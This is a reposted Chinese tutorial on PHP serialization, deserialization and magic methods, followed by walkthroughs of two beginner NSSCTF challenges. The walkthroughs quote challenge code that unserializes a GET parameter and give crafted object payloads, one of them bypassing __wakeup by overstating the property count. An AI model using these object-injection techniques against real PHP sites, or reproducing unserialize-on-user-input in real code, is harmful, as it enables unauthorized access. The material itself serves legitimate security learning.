PHP序列化、反序列化

目录

一、PHP序列化:serialize()

1.对象序列化

2.pop链序列化

3.数组序列化

二、反序列化:unserialize()

三、魔术方法

​四、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

2.[SWPUCTF 2021 新生赛]no_wakeup


学习参考:

PHP反序列化新手入门学习总结_php反序列化

php反序列化漏洞

一、PHP序列化:serialize()

序列化:是将变量或对象转换成字符串的过程

用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

php序列化的字母标识:a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
各类型值的serialize序列化:空字符       null  ->     N;
整型         123   ->     i:123;
浮点型       1.5   ->     d:1.5;
boolean型    true   ->    b:1;
boolean型    fal    ->    b:0;
字符串       “haha”  ->   s:4:"haha";

1.对象序列化

<?php
class test                        //定义一个test类
{public $test1="ll";           //public是访问修饰符protected $test2="hh";private $test3="nn";
}
$a=new test();
echo serialize($a);
?>//输出  O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名

//大写字母O表示对象,4是类名长度,test为类名,表示该类有3个成员属性

//类中变量的个数3:{类型:长度:“值”;类型:长度:“值”…以此类推}

protected 和private输出时有不可打印字符,如下图。

 

故类在写payload时通常会使用urlencode()函数编码。

2.pop链序列化

<?php
class test1
{public $a="ll";public $b=true;public $c=123;
}
class test2
{public $d;public $h="hhh";
}$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>//输出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}

3.数组序列化

<?php
$a=array("ll",123,true);
echo serialize($a);
?>//输出  
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化,成员属性名为数组的下标,格式 {i:数组下标;类型:长度:“值”; 以此类推}

二、反序列化:unserialize()

反序列化是:将字符串转换成变量对象的过程

反序列化的结果不能用echo函数,只能用print_r()var_dump()

<?php
class test
{public $test1="ll";public $test2=123;
}$a=new test();
$b=serialize($a);
print_r(unserialize($b));$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>
//输出
test Object
([test1] => ll[test2] => 123
)object(test)#2 (4) {["test1"]=>string(2) "ll"["test2"]=>int(123)["a"]=>string(3) "666"["b"]=>int(6666)
}

三、魔术方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法

__construct()       //类的构造函数,创建对象时触发
__destruct()        //类的析构函数,对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()      //在静态上下文中调用不可访问的方法时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__set()             //在给不可访问、不存在的对象成员属性赋值时触发
__isset()           //当对不可访问属性调用isset()或empty()时触发
__unset()           //在不可访问的属性上使用unset()时触发
__invoke()          //把对象当初函数调用时触发
__sleep()           //执行serialize()时,先会调用这个方法
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
__clone()           //使用clone关键字拷贝完一个对象后触发
... ...

1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

2.对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()

3.echo $a 把对象当成字符串输出触发了__toString()

   $a() 把对象当成函数执行触发了__invoke()

4.$a->h()调用了不存在的方法触发了__call()方法

四、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

打开环境只有一个表情包

查看源代码发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录

访问得到环境代码

<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码class wllm {                          // 定义一个名为 wllm 的类   public $admin;                    // 公共属性 adminpublic $passwd;                   // 公共属性 passwdpublic function __construct() {   // 构造函数,用于初始化对象     $this->admin = "user";        // 初始化 admin 为 "user"$this->passwd = "123456";     // 初始化 passwd 为 "123456"}public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作// 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"if ($this->admin === "admin" && $this->passwd === "ctf") {            include("flag.php");           echo $flag;} else {            echo $this->admin;        // 打印 admin 的值           echo $this->passwd;       // 打印 passwd 的值            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"}}
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p?>

admin=admin,passwd=ctf时得到flag,序列化p。

PHP 在线工具 | 菜鸟工具

构造payload,得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

2.[SWPUCTF 2021 新生赛]no_wakeup

打开环境,代码审计

<?php// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");// 关闭错误报告,不显示任何错误信息
error_reporting(0);// 显示文件class.php的源代码
show_source("class.php");// 定义一个名为HaHaHa的类
class HaHaHa{// 两个公共属性:admin和passwdpublic $admin;public $passwd;// 构造函数,当创建新对象时自动调用public function __construct(){// 初始化admin为"user",passwd为"123456"$this->admin ="user";$this->passwd = "123456";}// __wakeup魔术方法,当对象被反序列化时自动调用public function __wakeup(){// 将passwd加密为sha1哈希值$this->passwd = sha1($this->passwd);}// __destruct魔术方法,当对象被销毁时自动调用public function __destruct(){// 检查admin是否等于"admin"且passwd是否等于"wllm"if($this->admin === "admin" && $this->passwd === "wllm"){// 如果条件满足,引入flag.php文件,并输出变量$flag的值include("flag.php");echo $flag;}else{// 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串echo $this->passwd;echo "No wake up";}}
}// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>

admin=admin,passwd=wllm得到flag,序列化p

<?php
class HaHaHa{public $admin="admin";public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

故构造一个大于2对象的payload,得到flag

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/342150.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据提取:构建企业智能决策的基石

在数字化时代&#xff0c;数据已成为企业最宝贵的资产之一。而数据提取&#xff0c;作为数据分析和智能决策的第一步&#xff0c;正日益成为企业构建竞争优势的关键环节。本文将探讨数据提取的重要性、方法以及它如何为企业的智能决策奠定坚实基础。 一、数据提取的重要性 洞…

全新市场阶段,Partisia BlockChain 将向 RWA、DeFi 等领域布局

Partisia Blockchain 是一个全新范式的 Layer1&#xff0c;该链通过 MPC 方案来构建链上隐私方案&#xff0c;同时该链通过系列独特且创新的设计&#xff0c;旨在进一步解决目前 Web3 中所面临的不可能三角问题&#xff0c;包括安全性、互操作性和可扩展性&#xff0c;为更多的…

MySQL深分页,limit 100000,10 优化

文章目录 一、limit深分页为什么会变慢二、优化方案2.1 通过子查询优化&#xff08;覆盖索引&#xff09;回顾B树结构覆盖索引把条件转移到主键索引树 2.2 INNER JOIN 延迟关联2.3 标签记录法&#xff08;要求id是有序的&#xff09;2.4 使用between...and... 我们日常做分页需…

拿捏红黑树(C++)

文章目录 前言一、红黑树介绍二、插入操作三、验证红黑树四、红黑树与AVL性能比较与应用五、总体代码总结 前言 我们之前介绍了一种AVL的高阶数据结构&#xff0c;在本篇文章中&#xff0c;我们将会介绍一种与AVL旗鼓相当的数据结构–红黑树。 我们并且会对它的部分接口进行模…

Autoxjs 实践-Spring Boot 集成 WebSocket

概述 最近弄了福袋工具&#xff0c;由于工具运行中&#xff0c;不好查看福袋结果&#xff0c;所以我想将福袋工具运行数据返回到后台&#xff0c;做数据统计、之后工具会越来越多&#xff0c;就弄了个后台&#xff0c;方便管理。 实现效果 WebSocket&#xff1f; websocket是…

动态规划(01背包+并查集)

P1455 搭配购买 题意&#xff1a;就是说有n朵云&#xff0c;每朵云有自己的价钱&#xff08;重量&#xff09;和价值&#xff08;价值&#xff09;&#xff0c;还有我自己现在有钱的数目&#xff08;背包&#xff09;&#xff0c;然后还告诉你&#xff0c;哪几朵云是属于捆绑销…

“独特团购策略引领小程序商城一月狂赚600万“

你是否曾经对那些富有创意且成功的商业模式心生羡慕&#xff0c;最终它们通过非凡的业绩证明了自身的价值&#xff1f;今日&#xff0c;我要分享的是一个独特的小程序商城案例&#xff0c;它凭借一种别出心裁的团购策略&#xff0c;在短短一个月内实现了超过600万的营收&#x…

LeetCode 56 合并区间

本题中可以学到的比较重要的方法 lambda表达式定义自定义比较器Comparator Arrays.sort(intervals,(v0,v1)->{return v0[0] - v1[0];}); (附 : 这种形式也适合于优先队列创建时的自定义比较器定义) 比如&#xff1a; PriorityQueue<Integer> minTop new Priorit…

JAVA小案例-输出100-150中能被3整除的数,每5个换行

JAVA小案例-输出100-150中能被3整除的数&#xff0c;每5个换行 代码如下&#xff1a; public class Continue {/*** continue练习&#xff0c;输出100-150中能被3整除的数&#xff0c;每5个换行* param args*/public static void main(String[] args) {int count 0;//计数器…

【kubernetes】探索k8s集群的存储卷、pvc和pv

目录 一、emptyDir存储卷 1.1 特点 1.2 用途 1.3部署 二、hostPath存储卷 2.1部署 2.1.1在 node01 节点上创建挂载目录 2.1.2在 node02 节点上创建挂载目录 2.1.3创建 Pod 资源 2.1.4访问测试 2.2 特点 2.3 用途 三、nfs共享存储卷 3.1特点 3.2用途 3.3部署 …

ARM32开发--GPIO输入模式

知不足而奋进 望远山而前行 目录 文章目录 前言 浮空输入 上拉输入 下拉输入 模拟输入 总结 前言 在数字电路设计和嵌入式系统开发中&#xff0c;理解输入信号的处理方式对确保系统稳定性和可靠性至关重要。不同的输入处理方式包括上拉输入、下拉输入、浮空输入和模拟输…

解决JSON.stringify 方法在序列化 BigInt 类型时的错误

今天学nest时&#xff0c;使用apifox发送请求获取数据&#xff0c;结果还一直报错&#xff0c;而且还是我从未见过的 Do not know how to serialize a BigInt at JSON.stringify (<anonymous>) at stringify&#xff0c; 我都是跟着人家敲的&#xff0c;我就纳闷了&…

06Docker-Compose和微服务部署

Docker-Compose 概述 Docker Compose通过一个单独的docker-compose.yml模板文件来定义一组相关联的应用容器&#xff0c;帮助我们实现多个相互关联的Docker容器的快速部署 一般一个docker-compose.yml对应完整的项目,项目中的服务和中间件对应不同的容器 Compose文件实质就…

高德面试:为什么Map不能插入null?

在 Java 中&#xff0c;Map 是属于 java.util 包下的一个接口&#xff08;interface&#xff09;&#xff0c;所以说“为什么 Map 不能插入 null&#xff1f;”这个问题本身问的不严谨。Map 部分类关系图如下&#xff1a; 所以&#xff0c;这里面试官其实想问的是&#xff1a;为…

【Python系列】Python 方法变量参数详解

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

RetroMAE-文本embedding算法

1)输入文本经掩码操作后由编码器&#xff08;Encoder&#xff09;映射为隐空间中的语义向量&#xff1b;而后解码器&#xff08;Decoder&#xff09;借助语义向量将另一段独立掩码的输入文本还原为原始的输入文本 2)编码器的掩码率为15%-30%&#xff1b;解码器的掩码率为50%-70…

【工具】批量SKU生成器

一个用户加我&#xff0c;要我帮忙写一个生成SKU的工具&#xff0c;他希望可以自定义生成的选项&#xff0c;可以批量生成。我到网上找了好久也没有找到好用的&#xff0c;就花了一下午写了这个生成sku的功能 工具支持批量生成SKU&#xff0c;支持自定义配置项&#xff0c;支持…

多表连接查询和子查询

一、连接查询 连接查询是SQL语言最强大的功能之一&#xff0c;它可以执行查询时动态的将表连接起来&#xff0c;然后从中查询数据。 1.1、连接两表的方法 在SQL中连接两表可以有两种方法&#xff0c;一种是无连接规则连接&#xff0c;另一种是有连接规则连接。 无连接规则连…

Spring Boot 整合 spring-boot-starter-mail 实现邮件发送和账户激活

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

C#WPF数字大屏项目实战08--生产量/良品统计

1、区域划分 生产量/良品统计这部分位于第二列的第二行 2、livechart拆线图 定义折线图,如下: <lvc:CartesianChart> <lvc:CartesianChart.Series> <!--设置Series的类型为 Line 类型, 该类型提供了一些折线图的实现--> <lvc:LineSeries/>…